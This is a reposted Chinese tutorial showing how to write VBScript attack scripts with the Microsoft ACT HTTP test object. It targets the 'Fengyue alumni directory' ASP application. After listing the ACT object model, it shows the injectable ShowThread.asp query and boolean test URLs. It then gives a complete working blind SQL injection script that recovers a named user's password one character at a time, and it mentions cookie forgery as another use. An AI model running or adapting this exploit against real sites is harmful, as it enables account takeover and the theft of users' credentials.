用vbs来写sql注入等80端口的攻击脚本
|
源代码网整理以下 来源:http://www.viphot.com/ 源代码网整理以下 昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中: 源代码网整理以下 -Connection对象 源代码网整理以下 Close方法 源代码网整理以下 Send方法 源代码网整理以下 IsOpen属性 源代码网整理以下 Port属性 源代码网整理以下 RedirectDepth属性 源代码网整理以下 Server属性 源代码网整理以下 UseSSL属性 源代码网整理以下 -Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵 源代码网整理以下 Expires属性 源代码网整理以下 Name属性 源代码网整理以下 Path属性 源代码网整理以下 Value属性 源代码网整理以下 -Cookies对象 源代码网整理以下 Add方法 源代码网整理以下 Remove方法 源代码网整理以下 RemoveAll方法 源代码网整理以下 Count属性 源代码网整理以下 Item属性 源代码网整理以下 -Header对象 源代码网整理以下 Name属性 源代码网整理以下 Value属性 源代码网整理以下 -Request对象 源代码网整理以下 Body属性 源代码网整理以下 CodePage属性 源代码网整理以下 EncodeBody属性 源代码网整理以下 EncodeQueryAsUTF8属性 源代码网整理以下 Headers属性 源代码网整理以下 HTTPVersion属性 源代码网整理以下 Path属性 源代码网整理以下 ResponseBufferSize属性 源代码网整理以下 Verb属性 源代码网整理以下 -Response对象 源代码网整理以下 Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。 源代码网整理以下 CodePage属性 源代码网整理以下 BytesRecv属性 源代码网整理以下 BytesSent属性 源代码网整理以下 ContentLength属性 源代码网整理以下 Headers属性 源代码网整理以下 HeaderSize属性 源代码网整理以下 HTTPVersion属性 源代码网整理以下 Path属性 源代码网整理以下 Port属性 源代码网整理以下 ResultCode属性 源代码网整理以下 HTTP状态代码 源代码网整理以下 Server属性 源代码网整理以下 TTFB属性 源代码网整理以下 TTLB属性 源代码网整理以下 UseSSl属性 源代码网整理以下 -Test对象 源代码网整理以下 CreateConnection方法 源代码网整理以下 CreateRequest方法 源代码网整理以下 GetCurrentUser方法 源代码网整理以下 GetGlobalIndex方法 源代码网整理以下 GetGlobalVariable方法 源代码网整理以下 GetNextUser方法 源代码网整理以下 IncrementGlobalIndex方法 源代码网整理以下 SendRequest方法 源代码网整理以下 SetGlobalIndex方法 源代码网整理以下 SetGlobalVariable方法 源代码网整理以下 Sleep方法 源代码网整理以下 Trace方法 源代码网整理以下 TraceLevel属性 源代码网整理以下 -User对象 源代码网整理以下 Cookies属性 源代码网整理以下 Name属性 源代码网整理以下 Password属性 源代码网整理以下 到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明: 源代码网整理以下 oResponse = Test.SendRequest(strURL) 源代码网整理以下 参数:strURL as string:表示所请求的URL 源代码网整理以下 返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象) 源代码网整理以下 这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明: 源代码网整理以下 风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里: 源代码网整理以下 ... 源代码网整理以下 topicid=request("RootID") 源代码网整理以下 sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid 源代码网整理以下 set rs=conn.execute(sql) 源代码网整理以下 ... 源代码网整理以下 非常古老且经典的一个,呵呵,试了下: 源代码网整理以下 http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1 源代码网整理以下 http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2 源代码网整理以下 数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。 源代码网整理以下 要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。 源代码网整理以下 "********************************************* 源代码网整理以下 "风月同学录V1.60漏洞测试脚本 by luoluo 源代码网整理以下 "注意:需要装Visual Studio.Net里的ACT工具 源代码网整理以下 "********************************************* 源代码网整理以下 "**********************************优化了下,效率要高些 源代码网整理以下 Option Explicit 源代码网整理以下 On Error Resume Next 源代码网整理以下 Dim Test 源代码网整理以下 Dim o_Response 源代码网整理以下 Dim Wrong 源代码网整理以下 Dim i,j,k 源代码网整理以下 Dim pwd_len 源代码网整理以下 Dim pwd 源代码网整理以下 Dim strings 源代码网整理以下 Dim username 源代码网整理以下 "从命令行得到要破解的人的用户名 源代码网整理以下 If WScript.Arguments.Count > 0 Then 源代码网整理以下 username = WScript.Arguments(0) 源代码网整理以下 Else 源代码网整理以下 username = "luoluo" 源代码网整理以下 End If 源代码网整理以下 WScript.Echo "开始探测,请等待... ..." 源代码网整理以下 "正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了 源代码网整理以下 Wrong = "luoluoisachinesehacker" 源代码网整理以下 "存放密码 源代码网整理以下 pwd = "" 源代码网整理以下 "密码的字符范围 源代码网整理以下 strings = "0123456789abcdefghijklmnopqrstuvwxyz" 源代码网整理以下 "建立对象 源代码网整理以下 Set Test = CreateObject("ACT.Test") 源代码网整理以下 "得到用户的密码的长度 源代码网整理以下 For i = 0 to 128 step 1 源代码网整理以下 "发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些 源代码网整理以下 Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)="" & i & ""%20and%20userid="" & username & "")") 源代码网整理以下 "如果返回的页面里有正确标志那么长度就对了 源代码网整理以下 If instr(o_Response.Body, Wrong) <> 0 Then 源代码网整理以下 pwd_len = "" & i & "" 源代码网整理以下 Exit For 源代码网整理以下 End If 源代码网整理以下 Next 源代码网整理以下 "猜解用户的密码 源代码网整理以下 For j = 1 to pwd_len step 1 源代码网整理以下 For k = 1 to len(strings) step 1 源代码网整理以下 Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")="" & pwd & mid(strings,k,1) & ""%20and%20userid="" & username & "")") 源代码网整理以下 If instr(o_Response.Body, Wrong) <> 0 Then 源代码网整理以下 pwd = pwd & mid(strings,k,1) 源代码网整理以下 Exit For 源代码网整理以下 End If 源代码网整理以下 Next 源代码网整理以下 Next 源代码网整理以下 If err Then 源代码网整理以下 WScript.Echo "错误:" & Error.Description 源代码网整理以下 Error.Clear 源代码网整理以下 Else 源代码网整理以下 "输出密码 源代码网整理以下 WScript.Echo "密码:" & pwd 源代码网整理以下 End If 源代码网整理以下 Set Test = nothing 源代码网供稿. |
